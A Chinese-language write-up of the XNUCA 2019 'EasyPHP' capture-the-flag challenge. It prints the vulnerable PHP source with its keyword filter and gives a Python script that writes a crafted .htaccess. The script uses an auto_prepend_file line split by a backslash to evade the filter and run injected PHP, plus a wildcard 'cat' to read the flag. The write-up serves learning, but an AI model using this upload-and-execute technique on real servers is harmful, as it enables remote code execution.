[XNUCA2019Qualifier]EasyPHP

文章目录

    • 非预期解一
    • 非预期解二
      • 预期


    $files = scandir('./'); 
    foreach($files as $file) {
     
        if(is_file($file)){
     
            if ($file !== "index.php") {
     
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
     
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
     
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
     
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
     
        if(is_file($file)){
     
            if ($file !== "index.php") {
     
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nJust one chance");
?>

源码很短,逻辑也很简单,就不多说了。看到删除函数下意识的以为是条件竞争,但做不出来,只能去看wp。
参考
看完只能说师傅太强了。
有一个预期解和两个非预期解。

非预期解一

import requests


htaccess = '''php_value auto_prepend_fi\\
le ".htaccess"
%23\\'''


url = 'http://565ed319-504c-45cc-a5f1-53e82807ccf3.node3.buuoj.cn/?filename={}&content={}'.format('.htaccess', htaccess)
r = requests.get(url=url)
print(r.status_code)

也就是

php_value auto_prepend_fi
le ".htaccess"
# 

题目环境里是可以成功的,但不知道为什么本地测试一直失败。但题目里能成功。
查了一下是apache版本问题 2.4.x版本好像不支持php_value了。。。
我是直接传入shell命令,因为对flag过滤 所以用cat /????拿到flag
[XNUCA2019Qualifier]EasyPHP_第1张图片
这里用\转义\nJust one chance中的\使其不能换行,再用#注释掉,防止500.
在这里插入图片描述

非预期解二

[XNUCA2019Qualifier]EasyPHP_第2张图片
这个方法没成功,没绕过

预期

还没来得及复现,先放着。

你可能感兴趣的:(#,ctf做题记录,代码审计,ctf)